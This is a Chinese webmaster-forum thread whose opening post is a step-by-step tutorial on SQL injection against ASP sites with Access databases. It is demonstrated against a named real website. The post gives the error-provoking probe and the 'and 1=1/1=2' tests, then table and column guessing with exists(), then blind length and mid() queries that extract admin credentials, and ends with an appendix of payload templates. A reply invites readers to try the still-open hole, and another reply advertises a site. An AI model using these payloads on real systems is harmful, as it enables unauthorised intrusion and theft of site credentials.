网站首页 | 站长论坛 | 免费空间申请 | 站长下载 | 站长博客 | 商业主机 | 免费空间推荐站点 | 免费空间排行榜 | 我们知道
发新话题
打印

[11-15] 【原创】asp注入技术讲解

[11-15] 【原创】asp注入技术讲解

以前给某hack论坛做教程的文章,本人的原创,参考资料有小竹的asp注入天书
本文分为3个部分,因为涉及到的动画教程已经作为某论坛的vip教程
所以不能发出下载地址,需要的朋友可以加我qq索要

第一步分,简单的asp+access注入
前提知识:知道每一个网站都是有数据库的,里边记录了网站的数据·包括admin的名称和密码以及      很多相关信息

准备工作
再ie的internet选项里高级选项卡,显示友好的url和http都勾掉`

1,简单判断一个网站是否可以注入``
给大家找个例子
http://www.cnhuxin.com/news/view.asp?tid=33
以这个网站为例子``
首先我们来判断它的数据库类型,需要用到一个字符   '
我们把'加入到他的地址成为
http://www.cnhuxin.com/news/view.asp?tid=33'
就是双引号哪个键`这时数据库返回信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC Microsoft Access Driver] 语法错误 (操作符丢失) 在查询表达式 'id=33’' 中。

/news/view.asp,行5

上边红色的字体就说明了他的数据库类型·Access·我们继续

我们已经知道塔的数据库了·下面我们简单探测一下是否可以注入

利用 and 1=1和· and 1=2```

我们分别加倒这个网抵制中成为
http://www.cnhuxin.com/news/view.asp?tid=33 and 1=1
敲入回车·看返回信息,显示正常,我们就可以测试第2个
http://www.cnhuxin.com/news/view.asp?tid=33 and 1=2
注意观察·这时的返回页面和刚才不一样!!我们可以初步得到·此站注入成功率比较高

2,我们已经得到他的数据库的类型信息,下边我们来检测他数据库中的信息

大家都知道数据库里边分为表段,字段(又称列)和信息
表段记录了分类的信息
如同一个下载站点·下载的内容分为系统工具,网络工具等等这个对应了我们的表段
而系统工具又包含了 压缩软件,优化软件等等对应的是数据库中的字段·又称列
然后压缩软件中又包含了winrar等等对应了 字段中的信息

好了·我们现在来检测他的字段,我们这里要记住重要的信息的字段
比如admin,users,userinfo,user等等··这些我们在工具上都能看得到
检测的方法
and exists (select * from 表段)
在对方地址上加入以上的语句·就可以了·字段名改成我们需要的字段如刚才所列admin,users等等
假设我们检测admin表段是否存在·在地址栏输入
http://www.cnhuxin.com/news/view.asp?tid=33 and exists (select * from admin)
返回说正常页面·明·存在此表段,再如我们检测是否存在user表段
输入
http://www.cnhuxin.com/news/view.asp?tid=33 and exists (select * from user)
返回信息
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e37'

[Microsoft][ODBC Microsoft Access Driver] Microsoft Jet 数据库引擎找不到输入表或查询 'user'。 确定它是否存在,以及它的名称的拼写是否正确。

/news/view.asp,行5
说明并不存在此表段··


下边我们来测试表段中含有的字段·记录重要信息的字段如帐号  密码  mima 用户名 password name等等
这些再工具中也有体现··

检测语句为
and exists (select 字段 from 表段)
方法同上假设我们检测admin表段中username字段
http://www.cnhuxin.com/news/view.asp?tid=33 and exists (select username from admin)
存在则返回正常信息·不存在则返回错误信息
我检测过了·存在username字段

下面就到了最麻烦也是最重要的步骤了···爆出他的内容
首先我们判断长度
http://www.cnhuxin.com/news/view.asp?tid=33 and exists (select * from admin where len(username)=1 and id=(Select max(id) From admin where id in (select top 1 id from admin Order by id)))
上边这个语句1代表了1个字符··
返回信息·跟刚才不一样了···或者没有显示和我们检测的地方
http://www.cnhuxin.com/news/view.asp?tid=33同样的信息·说明不是1位的字符     也不行
我们测试到6的时候·就是
http://www.cnhuxin.com/news/view.asp?tid=33 and exists (select * from admin where len(username)=6 and id=(Select max(id) From admin where id in (select top 1 id from admin Order by id)))
这个时候返回的信息是和
http://www.cnhuxin.com/news/view.asp?tid=33是一样的
我们可以确定·他的内容有6个字符
然后我们爆出他的内容是什么用到
and 1=(select count(*) from [表段] where mid(字段,第几位,1)='内容')

如·我们猜测他admin表段的username字段的第一位内容是不是a
内容一般都是英文或数字或两者混合·我们先猜是否是a   因为a是26英文中第一个字母,也是admin(超级用户)的第一个字母
http://www.cnhuxin.com/news/view.asp?tid=33 and 1=(select count(*) from [admin] where mid(usrname,1,1)='a')
返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'

[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。

/news/view.asp,行5

说明我们猜错了他的第一个字符不是a   
··就这样一个一个试我们就能得到他的内容
另·例子猜测他admin表段的username字段的第二位内容是不是a

http://www.cnhuxin.com/news/view.asp?tid=33 and 1=(select count(*) from [admin] where mid(usrname,2,1)='a')

······································检测就道这里
我们慢慢检测··就能检测打到他真正的内容
最后!!!!也是一个必要的条件·当我们猜出来他的内容也就是猜到了他的管理员名称和密码
我们怎么登陆呢~?
我们要猜测他的后台地址·有的地方后台是已经暴露的,有的还需要我们去试·
这里我就不能讲了·因为我测试的是一个国内的网站··谢谢大家··

附表1。
其他同样可以使用的语句
下边使用命令一个个的去猜测表名
格式
and 0<>(select count(*) from 表名)

字段名称猜测
格式
and 1=(select count(*) from [表段名] where len(字段名)>0)

猜测字段位数
and 1=(select count(*) from [表段名] where len(字段名)>1)
and 1=(select count(*) from [表段名] where len(字段名)>2)
and 1=(select count(*) from [表段名] where len(字段名)>3)


··有还不明白的朋友请加我qq78671进行讨论·

TOP

目前此漏洞仍然存在,大家可以去试验,
不过后台地址已经隐藏,防止大家破坏··
权且当作一个hack教材来看吧···

TOP

这么猜测 多累啊:o:o
欢迎去我的[url=www.xihaw.com][u][color=red][size=4]嘻哈网[/size][/color][/u][/url][size=4][b][color=red][url]http://www.xihaw.com[/url] [/color][/b] [/size] QQ 215858622

TOP

发新话题